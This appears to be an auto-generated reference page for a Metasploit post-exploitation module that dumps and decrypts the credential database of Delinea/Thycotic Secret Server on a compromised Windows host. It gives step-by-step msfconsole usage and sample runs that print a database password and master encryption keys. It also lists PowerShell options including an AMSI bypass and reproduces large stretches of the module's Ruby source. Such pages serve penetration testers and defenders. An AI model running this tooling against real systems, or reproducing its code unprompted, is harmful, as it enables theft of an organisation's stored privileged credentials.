Delinea Thycotic Secret Server Dump - Metasploit
This page contains detailed information about how to use the post/windows/gather/credentials/thycotic_secretserver_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Delinea Thycotic Secret Server Dump
Module: post/windows/gather/credentials/thycotic_secretserver_dump
Source code: modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb
Disclosure date: 2022-08-15
Last modification time: 2022-09-29 13:58:54 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module exports and decrypts Secret Server credentials to a CSV file; it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic Secret Server installed. Master Encryption Key (MEK) and associated IV values are decrypted from encryption.config using a static key baked into the software. The module also supports parameter recovery for encryption configs configured with Windows DPAPI.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/credentials/thycotic_secretserver_dump
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/credentials/thycotic_secretserver_dump
msf post(thycotic_secretserver_dump) > show options
... show and set options ...
msf post(thycotic_secretserver_dump) > set SESSION session-id
msf post(thycotic_secretserver_dump) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/credentials/thycotic_secretserver_dump")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on
Knowledge Base
This module exports and decrypts Secret Server credentials to a CSV file; it is intended as a
post-exploitation module for Windows hosts with Delinea/Thycotic Secret Server installed. Master
Encryption Key (MEK) and associated IV values are decrypted from encryption.config
using a
static key baked into the software; there is also support for encryption configs configured with
Windows DPAPI MachineKey protection. The module contains two actions, dump
and export
, the
former extracts the encrypted Secret Server database and performs decryption, and the latter
allows the encryption keys and encrypted database to be plundered for later offline decryption
in situations where expedience is necessary.
This module incorporates original research published by the authors of SecretServerSecretStealer, a PowerShell script designed to harvest Secret Server credentials. The GitHub repo for SecretStealer.ps1 includes tons of notes on the internals of Secret Server:
https://github.com/denandz/SecretServerSecretStealer
Vulnerable Application
This module has been tested against Secret Server versions 8.4 through 11.2, though it may work on earlier versions. It is intended to be run after successfully exploiting a Windows host with the Delinea/Thycotic Secret Server software installed. The module supports decryption of configuration files that have been protected by Windows DPAPI, but does not support extraction of any secrets if the system is configured with a Hardware Security Module (HSM).
Verification Steps
This is a post module and requires a meterpreter session on the Microsoft Windows server host with a configured instance of Delinea/Thycotic Secret Server installed.
- Start msfconsole
- Get session on Secret Server host via method of choice and background it
- Do:
use post/windows/gather/credentials/thycotic_secretserver_dump
- Do:
set session <session>
- Do:
dump
to extract and decrypt the Secret Server database, orexport
to extract the encrypted database only
Options
SESSION
Which session to use, which can be viewed with sessions -l
Scenarios
Windows Server 2019 host running Secret Server 11.2 using the dump
action:
msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > dump
[*] Hostname THYCOTIC IPv4 10.1.0.113
[*] Decrypt database.config ...
[+] Secret Server SQL Database Connection Configuration:
[+] Instance Name: localhost\SQLEXPRESS
[+] Database Name: SecretServer
[+] Database User: sa
[+] Database Pass: !-TUwX!_-gD-wak-cugyU-0GX0$vL-evYG2
[*] Secret Server Build 11.22
[*] Decrypt encryption.config ...
[+] Secret Server Encryption Configuration:
[+] KEY: fc35d1abcade1c180c699e10fbb3efeb
[+] KEY256: e768c5223bafa5481faca1ee10b63fb80c699e10ffa694ce29adc66963d05109
[+] IV: 2c2df1a68dbc29adc66041bd6e6e4ad3
[*] Performing export and decryption of Secret Server SQL database
[*] Export Secret Server DB ...
[+] 47842 rows exported, 19915 unique SecretIDs
[+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829112535_default_10.1.0.113_thycotic_secrets_288749.txt
[+] 47842 rows loaded, 19915 unique SecretIDs
[*] Process Secret Server DB ...
[-] SecretID 1395 field 'Notes' failed to decrypt
[-] SecretID 2050 field 'Notes' failed to decrypt
[-] SecretID 2506 field 'Notes' failed to decrypt
[-] SecretID 2549 field 'Notes' failed to decrypt
[-] SecretID 2558 field 'Notes' failed to decrypt
[-] SecretID 2566 field 'Notes' failed to decrypt
[-] SecretID 2567 field 'Notes' failed to decrypt
[-] SecretID 2583 field 'Notes' failed to decrypt
[-] SecretID 3393 field 'Notes' failed to decrypt
[-] SecretID 4060 field 'Notes' failed to decrypt
[!] SecretID 4092 field 'SFTP Site' contains invalid UTF-8 and will be stored as a Base64 string in the output file
[-] SecretID 4103 field 'Notes' failed to decrypt
[-] SecretID 4174 field 'Notes' failed to decrypt
[-] SecretID 4625 field 'Notes' failed to decrypt
[-] SecretID 5393 field 'Notes' failed to decrypt
[-] SecretID 5647 field 'Notes' failed to decrypt
[-] SecretID 6018 field 'Notes' failed to decrypt
[-] SecretID 6250 field 'Notes' failed to decrypt
[-] SecretID 6263 field 'Notes' failed to decrypt
[-] SecretID 6657 field 'Notes' failed to decrypt
[-] SecretID 9169 field 'Notes' failed to decrypt
[-] SecretID 10577 field 'Notes' failed to decrypt
[-] SecretID 10777 field 'Notes' failed to decrypt
[!] SecretID 11097 field 'Notes' contains invalid UTF-8 and will be stored as a Base64 string in the output file
[-] SecretID 11319 field 'Notes' failed to decrypt
[-] SecretID 11973 field 'Notes' failed to decrypt
[-] SecretID 11974 field 'Notes' failed to decrypt
[-] SecretID 11997 field 'Notes' failed to decrypt
[!] 47842 rows processed (26 rows failed)
[*] 45117 rows recovered: 34479 plaintext, 10638 decrypted (2699 blank)
[*] 45117 rows written (2699 blank rows withheld)
[+] 19836 unique SecretID records recovered
[+] Decrypted Secret Server Database Dump: /root/.msf4/loot/20220829112547_default_10.1.0.113_thycotic_secrets_357639.txt
[*] Post module execution completed
msf6 post(multi/gather/thycotic_secretserver_dump) >
Windows Server 2019 host running Secret Server 11.2 using the export
action:
msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > export
[] Hostname THYCOTIC IPv4 10.1.0.113 [] Decrypt database.config ... [+] Secret Server SQL Database Connection Configuration: [+] Instance Name: localhost\SQLEXPRESS [+] Database Name: SecretServer_112E [+] Database User: (Windows Integrated) [!] The database uses Windows authentication [!] Session identity must have access to the SQL server instance to proceed [] Secret Server Build 11.22 [] Decrypt encryption.config ... [+] Secret Server Encryption Configuration: [+] KEY: 376f80b25053d74afcc321837442ddc9 [+] KEY256: 5b0f4d7d2d89c180b62c64b881072d4cf2b6fd0487c9d4438050a4734a3ece19 [+] IV: d933b2ad66c785891d4bc916cebdde15 [] Performing export of Secret Server SQL database to CSV file [] Export Secret Server DB ... [+] 3 rows exported, 1 unique SecretIDs [+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829113427_default_10.1.0.113_thycotic_secrets_175194.txt [*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/credentials/thycotic_secretserver_dump post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/credentials/thycotic_secretserver_dump
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show info
Name: Delinea Thycotic Secret Server Dump
Module: post/windows/gather/credentials/thycotic_secretserver_dump
Platform: Windows
Arch:
Rank: Manual
Disclosed: 2022-08-15
Provided by:
npm <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Compatible session types:
Meterpreter
Available actions:
Name Description
---- -----------
Dump Export Secret Server database and perform decryption
Export Export Secret Server database without decryption
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Description:
This module exports and decrypts Secret Server credentials to a CSV
file; it is intended as a post-exploitation module for Windows hosts
with Delinea/Thycotic Secret Server installed. Master Encryption Key
(MEK) and associated IV values are decrypted from encryption.config
using a static key baked into the software. The module also supports
parameter recovery for encryption configs configured with Windows
DPAPI.
References:
https://github.com/denandz/SecretServerSecretStealer
Module Options
This is a complete list of options available in the windows/gather/credentials/thycotic_secretserver_dump post exploitation module:
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show options
Module options (post/windows/gather/credentials/thycotic_secretserver_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Post action:
Name Description
---- -----------
Dump Export Secret Server database and perform decryption
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/credentials/thycotic_secretserver_dump post exploitation module:
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show advanced
Module advanced options (post/windows/gather/credentials/thycotic_secretserver_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Powershell::Post::dry_run false yes Return encoded output to caller
Powershell::Post::force_wow64 false yes Force WOW64 execution
Powershell::Post::log_output false yes Write output to log file
Powershell::Post::timeout 15 yes Powershell execution timeout, set < 0 to run async without termination
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass auto yes Prepend AMSI/SBL bypass (Accepted: auto, true, false)
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/credentials/thycotic_secretserver_dump module can do:
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show actions
Post actions:
Name Description
---- -----------
Dump Export Secret Server database and perform decryption
Export Export Secret Server database without decryption
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/credentials/thycotic_secretserver_dump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Could not initialize
- Could not export Secret Server database records
- Could not decrypt exported Secret Server database records
- No records exported from SQL server
- No records imported from CSV dataset
- Failed to decrypt CSV dataset
- No rows could be processed
- <SS_PROCESSED_ROWS> rows processed (<SS_FAILED_ROWS> rows failed)
- Error parsing SQL dataset into CSV format
- SQL dataset contains no SecretID column values
- Row <CURRENT_ROW> missing SecretID column, skipping
- SecretID <SECRET_ID> field '<SECRET_FIELD>' ItemValue column nil, excluding
- SecretID <SECRET_ID> field '<SECRET_FIELD>' decrypted ItemValue nil, excluding
- SecretID <SECRET_ID> field '<SECRET_FIELD>' failed to decrypt
- SecretID <SECRET_ID> field '<SECRET_FIELD>' recovered ItemValue empty, excluding
- Unable to identify sqlcmd SQL client on target host
- Could not determine Secret Server IIS web root filesystem path
- Could not initialize Secret Server database
- Could not determine Secret Server build
- Could not initialize Secret Server encryption parameters
- CSV file <FILE_NAME> not found
- Error importing CSV file <CSV_FILE>
- Provided CSV file <CSV_FILE> contains no SecretID column values
- Registry key <REG_KEY> not found
- Could not find WebDir registry entry under <REG_KEY>
- Error parsing SQL dataset into CSV format
- Error determining Secret Server version from SQL query
- This module has not been tested against Secret Server versions below 8.4 and may not work
- Configuration file '<SS_CONFIG_FILE>' not found
- Failed to decrypt encryption.config
- Failed to recover Master Encryption Key values from <SS_ENC_CONFIG_FILE>
- Exception in <__METHOD__>: <E.MESSAGE>
- Could not locate encryption.config key/value header in binary stream
- Exception in <__METHOD__>: <E.MESSAGE>
- Error reading database configuration file <SS_DB_CONFIG_FILE>
- Failed to recover database parameters from <SS_DB_CONFIG_FILE>
- The database uses Windows authentication
- Session identity must have access to the SQL server instance to proceed
- Could not extract SQL login information from <SS_DB_CONFIG_FILE>
- Error decrypting database.config
- Could not extract connectionString from database.config
- Exception in <__METHOD__>: <E.MESSAGE>
- SecretID <SECRET_ID> field '<SECRET_FIELD>' decryption failed, attempting pure MEK decryption as last resort
- SecretID <SECRET_ID> field '<SECRET_FIELD>' contains invalid UTF-8 and will be stored as a Base64 string in the output file
- DPAPI decrypt: invalid Base64 ciphertext
- Failed DPAPI LocalMachine decryption
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not initialize
Here is a relevant code snippet related to the "Could not initialize" error message:
70: def result_header_row
71: 'SecretID,Active,SecretType,SecretName,FieldName,Plaintext,Plaintext2'
72: end
73:
74: def run
75: fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
76: current_action = action.name.downcase
77: if current_action == 'export' || current_action == 'dump'
78: print_status('Performing export of Secret Server SQL database to CSV file')
79: fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
80: print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
Could not export Secret Server database records
Here is a relevant code snippet related to the "Could not export Secret Server database records" error message:
74: def run
75: fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
76: current_action = action.name.downcase
77: if current_action == 'export' || current_action == 'dump'
78: print_status('Performing export of Secret Server SQL database to CSV file')
79: fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
80: print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
81: end
82: if current_action == 'dump'
83: print_status('Performing decryption of Secret Server SQL database')
84: fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))
Could not decrypt exported Secret Server database records
Here is a relevant code snippet related to the "Could not decrypt exported Secret Server database records" error message:
79: fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
80: print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
81: end
82: if current_action == 'dump'
83: print_status('Performing decryption of Secret Server SQL database')
84: fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))
85: print_good("Decrypted Secret Server Database Dump: #{decrypted_csv_file}")
86: end
87: end
88:
89: def export
No records exported from SQL server
Here is a relevant code snippet related to the "No records exported from SQL server" error message:
86: end
87: end
88:
89: def export
90: unless (csv = dump_thycotic_db)
91: print_error('No records exported from SQL server')
92: return false
93: end
94: total_rows = csv.count
95: print_good("#{total_rows} rows exported, #{@ss_total_secrets} unique SecretIDs")
96: encrypted_data = csv.to_s.delete("\000")
No records imported from CSV dataset
Here is a relevant code snippet related to the "No records imported from CSV dataset" error message:
97: store_loot('thycotic_secretserver_enc', 'text/csv', rhost, encrypted_data, "#{@ss_db_name}.csv", 'Encrypted Database Dump')
98: end
99:
100: def decrypt(csv_file)
101: unless (csv = read_csv_file(csv_file))
102: print_error('No records imported from CSV dataset')
103: return false
104: end
105: total_rows = csv.count
106: print_good("#{total_rows} rows loaded, #{@ss_total_secrets} unique SecretIDs")
107: result = decrypt_thycotic_db(csv)
Failed to decrypt CSV dataset
Here is a relevant code snippet related to the "Failed to decrypt CSV dataset" error message:
110: ss_decrypted_rows = result[:decrypted_rows]
111: ss_plaintext_rows = result[:plaintext_rows]
112: ss_failed_rows = result[:failed_rows]
113: result_rows = result[:result_csv]
114: unless result_rows
115: print_error('Failed to decrypt CSV dataset')
116: return false
117: end
118: total_result_rows = result_rows.count - 1 # Do not count header row
119: total_result_secrets = result_rows['SecretID'].uniq.count - 1
120: if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
No rows could be processed
Here is a relevant code snippet related to the "No rows could be processed" error message:
116: return false
117: end
118: total_result_rows = result_rows.count - 1 # Do not count header row
119: total_result_secrets = result_rows['SecretID'].uniq.count - 1
120: if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
121: print_error('No rows could be processed')
122: return false
123: elsif ss_failed_rows > 0
124: print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
125: else
126: print_good("#{ss_processed_rows} rows processed")
<SS_PROCESSED_ROWS> rows processed (<SS_FAILED_ROWS> rows failed)
Here is a relevant code snippet related to the "<SS_PROCESSED_ROWS> rows processed (<SS_FAILED_ROWS> rows failed)" error message:
119: total_result_secrets = result_rows['SecretID'].uniq.count - 1
120: if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
121: print_error('No rows could be processed')
122: return false
123: elsif ss_failed_rows > 0
124: print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
125: else
126: print_good("#{ss_processed_rows} rows processed")
127: end
128: total_records = ss_decrypted_rows + ss_plaintext_rows
129: print_status("#{total_records} rows recovered: #{ss_plaintext_rows} plaintext, #{ss_decrypted_rows} decrypted (#{ss_blank_rows} blank)")
Error parsing SQL dataset into CSV format
Here is a relevant code snippet related to the "Error parsing SQL dataset into CSV format" error message:
152: sql_cmd = sql_prepare(sql_query)
153: print_status('Export Secret Server DB ...')
154: query_result = cmd_exec(sql_cmd)
155: csv = CSV.parse(query_result.gsub("\r", ''), row_sep: :auto, headers: export_header_row, quote_char: "\x00", skip_blanks: true)
156: unless csv
157: print_error('Error parsing SQL dataset into CSV format')
158: return false
159: end
160: @ss_total_secrets = csv['SecretID'].uniq.count
161: unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
162: print_error('SQL dataset contains no SecretID column values')
SQL dataset contains no SecretID column values
Here is a relevant code snippet related to the "SQL dataset contains no SecretID column values" error message:
157: print_error('Error parsing SQL dataset into CSV format')
158: return false
159: end
160: @ss_total_secrets = csv['SecretID'].uniq.count
161: unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
162: print_error('SQL dataset contains no SecretID column values')
163: return false
164: end
165: csv
166: end
167:
Row <CURRENT_ROW> missing SecretID column, skipping
Here is a relevant code snippet related to the "Row <CURRENT_ROW> missing SecretID column, skipping" error message:
176: csv_dataset.each do |row|
177: current_row += 1
178: secret_id = row['SecretID']
179: if secret_id.nil?
180: failed_rows += 1
181: print_error("Row #{current_row} missing SecretID column, skipping")
182: next
183: end
184: secret_field = [row['SecretFieldName'][2..]].pack('H*')
185: secret_ciphertext_1 = row['ItemValue']
186: if secret_ciphertext_1.nil?
SecretID <SECRET_ID> field '<SECRET_FIELD>' ItemValue column nil, excluding
Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' ItemValue column nil, excluding" error message:
182: next
183: end
184: secret_field = [row['SecretFieldName'][2..]].pack('H*')
185: secret_ciphertext_1 = row['ItemValue']
186: if secret_ciphertext_1.nil?
187: vprint_warning("SecretID #{secret_id} field '#{secret_field}' ItemValue column nil, excluding")
188: blank_rows += 1
189: next
190: end
191: secret_ciphertext_2 = row['ItemValue2']
192: secret_active = row['Active'].to_i
SecretID <SECRET_ID> field '<SECRET_FIELD>' decrypted ItemValue nil, excluding
Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' decrypted ItemValue nil, excluding" error message:
217: iv = [iv_hex].pack('H*')
218: miv = [miv_hex].pack('H*')
219: if secret_encrypted == 1
220: secret_plaintext_1 = thycotic_secret_decrypt(secret_id: secret_id, secret_field: secret_field, secret_value: value_1, secret_key: key, secret_iv: iv, secret_miv: miv, secret_use256: secret_use256)
221: if secret_plaintext_1.nil?
222: vprint_warning("SecretID #{secret_id} field '#{secret_field}' decrypted ItemValue nil, excluding")
223: blank_rows += 1
224: next
225: end
226: # TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
227: # For now just return ciphertext if it exists.
SecretID <SECRET_ID> field '<SECRET_FIELD>' failed to decrypt
Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' failed to decrypt" error message:
225: end
226: # TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
227: # For now just return ciphertext if it exists.
228: secret_plaintext_2 = secret_ciphertext_2
229: if !secret_plaintext_1 || !secret_plaintext_2
230: print_error("SecretID #{secret_id} field '#{secret_field}' failed to decrypt")
231: vprint_error(row.to_s)
232: failed_rows += 1
233: next
234: end
235: secret_disposition = 'decrypted'
SecretID <SECRET_ID> field '<SECRET_FIELD>' recovered ItemValue empty, excluding
Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' recovered ItemValue empty, excluding" error message:
244: result_line = [secret_id.to_s, secret_active.to_s, secret_type.to_s, secret_name.to_s, secret_field.to_s, secret_plaintext_1.to_s, secret_plaintext_2.to_s]
245: result_row = CSV.parse_line(CSV.generate_line(result_line).gsub("\r", ''))
246: result_csv << result_row
247: vprint_status("SecretID #{secret_id} field '#{secret_field}' ItemValue recovered: #{secret_disposition}")
248: else
249: vprint_warning("SecretID #{secret_id} field '#{secret_field}' recovered ItemValue empty, excluding")
250: blank_rows += 1
251: end
252: end
253: {
254: processed_rows: current_row,
Unable to identify sqlcmd SQL client on target host
Here is a relevant code snippet related to the "Unable to identify sqlcmd SQL client on target host" error message:
263: def init_module
264: @ss_hostname = get_env('COMPUTERNAME')
265: print_status("Hostname #{@ss_hostname} IPv4 #{rhost}")
266: get_sql_client
267: unless @sql_client == 'sqlcmd'
268: print_error('Unable to identify sqlcmd SQL client on target host')
269: return false
270: end
271: vprint_good("Found SQL client: #{@sql_client}")
272: unless (ss_web_path = get_secretserver_web_path)
273: print_error('Could not determine Secret Server IIS web root filesystem path')
Could not determine Secret Server IIS web root filesystem path
Here is a relevant code snippet related to the "Could not determine Secret Server IIS web root filesystem path" error message:
268: print_error('Unable to identify sqlcmd SQL client on target host')
269: return false
270: end
271: vprint_good("Found SQL client: #{@sql_client}")
272: unless (ss_web_path = get_secretserver_web_path)
273: print_error('Could not determine Secret Server IIS web root filesystem path')
274: return false
275: end
276: unless init_thycotic_db(ss_web_path)
277: print_error('Could not initialize Secret Server database')
278: return false
Could not initialize Secret Server database
Here is a relevant code snippet related to the "Could not initialize Secret Server database" error message:
272: unless (ss_web_path = get_secretserver_web_path)
273: print_error('Could not determine Secret Server IIS web root filesystem path')
274: return false
275: end
276: unless init_thycotic_db(ss_web_path)
277: print_error('Could not initialize Secret Server database')
278: return false
279: end
280: get_secretserver_version
281: unless @ss_build
282: print_error('Could not determine Secret Server build')
Could not determine Secret Server build
Here is a relevant code snippet related to the "Could not determine Secret Server build" error message:
277: print_error('Could not initialize Secret Server database')
278: return false
279: end
280: get_secretserver_version
281: unless @ss_build
282: print_error('Could not determine Secret Server build')
283: return false
284: end
285: unless init_thycotic_encryption(ss_web_path)
286: print_error('Could not initialize Secret Server encryption parameters')
287: return false
Could not initialize Secret Server encryption parameters
Here is a relevant code snippet related to the "Could not initialize Secret Server encryption parameters" error message:
281: unless @ss_build
282: print_error('Could not determine Secret Server build')
283: return false
284: end
285: unless init_thycotic_encryption(ss_web_path)
286: print_error('Could not initialize Secret Server encryption parameters')
287: return false
288: end
289: true
290: end
291:
CSV file <FILE_NAME> not found
Here is a relevant code snippet related to the "CSV file <FILE_NAME> not found" error message:
289: true
290: end
291:
292: def read_csv_file(file_name)
293: unless File.exist?(file_name)
294: print_error("CSV file #{file_name} not found")
295: return false
296: end
297: csv_rows = File.binread(file_name)
298: csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
299: unless csv
Error importing CSV file <CSV_FILE>
Here is a relevant code snippet related to the "Error importing CSV file <CSV_FILE>" error message:
295: return false
296: end
297: csv_rows = File.binread(file_name)
298: csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
299: unless csv
300: print_error("Error importing CSV file #{csv_file}")
301: return false
302: end
303: @ss_total_secrets = csv['SecretID'].uniq.count
304: unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
305: print_error("Provided CSV file #{csv_file} contains no SecretID column values")
Provided CSV file <CSV_FILE> contains no SecretID column values
Here is a relevant code snippet related to the "Provided CSV file <CSV_FILE> contains no SecretID column values" error message:
300: print_error("Error importing CSV file #{csv_file}")
301: return false
302: end
303: @ss_total_secrets = csv['SecretID'].uniq.count
304: unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
305: print_error("Provided CSV file #{csv_file} contains no SecretID column values")
306: return false
307: end
308: csv
309: end
310:
Registry key <REG_KEY> not found
Here is a relevant code snippet related to the "Registry key <REG_KEY> not found" error message:
309: end
310:
311: def get_secretserver_web_path
312: reg_key = 'HKLM\\SOFTWARE\\Thycotic\\Secret Server\\'
313: unless registry_key_exist?(reg_key)
314: print_error("Registry key #{reg_key} not found")
315: return false
316: end
317: ss_web_path = registry_getvaldata(reg_key, 'WebDir')
318: unless ss_web_path
319: print_error("Could not find WebDir registry entry under #{reg_key}")
Could not find WebDir registry entry under <REG_KEY>
Here is a relevant code snippet related to the "Could not find WebDir registry entry under <REG_KEY>" error message:
314: print_error("Registry key #{reg_key} not found")
315: return false
316: end
317: ss_web_path = registry_getvaldata(reg_key, 'WebDir')
318: unless ss_web_path
319: print_error("Could not find WebDir registry entry under #{reg_key}")
320: return false
321: end
322: vprint_status('Secret Server Web Root:')
323: vprint_status("\t#{ss_web_path}")
324: ss_web_path
Error parsing SQL dataset into CSV format
Here is a relevant code snippet related to the "Error parsing SQL dataset into CSV format" error message:
332: FROM tbVersion ORDER BY [Major] DESC, [Minor] DESC, [Rev] DESC"
333: sql_cmd = sql_prepare(sql_query)
334: version_query_result = cmd_exec(sql_cmd).gsub("\r", '')
335: csv = CSV.parse(version_query_result.gsub("\r", ''), row_sep: :auto, headers: 'Major,Minor,Rev', quote_char: "\x00", skip_blanks: true)
336: unless csv
337: print_error('Error parsing SQL dataset into CSV format')
338: return false
339: end
340: ss_build_major = csv['Major'].first.to_i
341: ss_build_minor = csv['Minor'].first.to_i
342: ss_build_rev = csv['Rev'].first.to_i
Error determining Secret Server version from SQL query
Here is a relevant code snippet related to the "Error determining Secret Server version from SQL query" error message:
340: ss_build_major = csv['Major'].first.to_i
341: ss_build_minor = csv['Minor'].first.to_i
342: ss_build_rev = csv['Rev'].first.to_i
343: @ss_build = "#{ss_build_major}.#{ss_build_minor}#{ss_build_rev}".to_f
344: unless @ss_build > 0
345: print_error('Error determining Secret Server version from SQL query')
346: return false
347: end
348: print_status("Secret Server Build #{@ss_build}")
349: print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
350: true
This module has not been tested against Secret Server versions below 8.4 and may not work
Here is a relevant code snippet related to the "This module has not been tested against Secret Server versions below 8.4 and may not work" error message:
344: unless @ss_build > 0
345: print_error('Error determining Secret Server version from SQL query')
346: return false
347: end
348: print_status("Secret Server Build #{@ss_build}")
349: print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
350: true
351: end
352:
353: def sql_prepare(sql_query)
354: if @ss_db_integrated_auth
Configuration file '<SS_CONFIG_FILE>' not found
Here is a relevant code snippet related to the "Configuration file '<SS_CONFIG_FILE>' not found" error message:
359: sql_cmd
360: end
361:
362: def read_config_file(ss_config_file)
363: unless file_exist?(ss_config_file)
364: print_error("Configuration file '#{ss_config_file}' not found")
365: return false
366: end
367: read_file(ss_config_file)
368: end
369:
Failed to decrypt encryption.config
Here is a relevant code snippet related to the "Failed to decrypt encryption.config" error message:
379: else
380: vprint_status('Using Legacy (AES-128) file decryption routine')
381: enc_conf = thycotic_encryption_config_decrypt_legacy(ss_enc_conf_bytes)
382: end
383: unless enc_conf
384: print_error('Failed to decrypt encryption.config')
385: return false
386: end
387: ss_key_hex = enc_conf['KEY']
388: ss_key256_hex = enc_conf['KEY256']
389: ss_iv_hex = enc_conf['IV']
Failed to recover Master Encryption Key values from <SS_ENC_CONFIG_FILE>
Here is a relevant code snippet related to the "Failed to recover Master Encryption Key values from <SS_ENC_CONFIG_FILE>" error message:
391: print_status('DPAPI encryption has been configured for the Master Encryption Key, attempting LocalMachine decryption ...')
392: ss_key_hex = dpapi_decrypt(ss_key_hex)
393: ss_key256_hex = dpapi_decrypt(ss_key256_hex)
394: end
395: if ss_key_hex.nil? || ss_key256_hex.nil? || ss_iv_hex.nil?
396: print_error("Failed to recover Master Encryption Key values from #{ss_enc_config_file}")
397: return false
398: end
399: @ss_iv = [ss_iv_hex].pack('H*')
400: @ss_key = [ss_key_hex].pack('H*')
401: @ss_key256 = [ss_key256_hex].pack('H*')
Exception in <__METHOD__>: <E.MESSAGE>
Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:
458:
459: i += 1
460: end
461: res
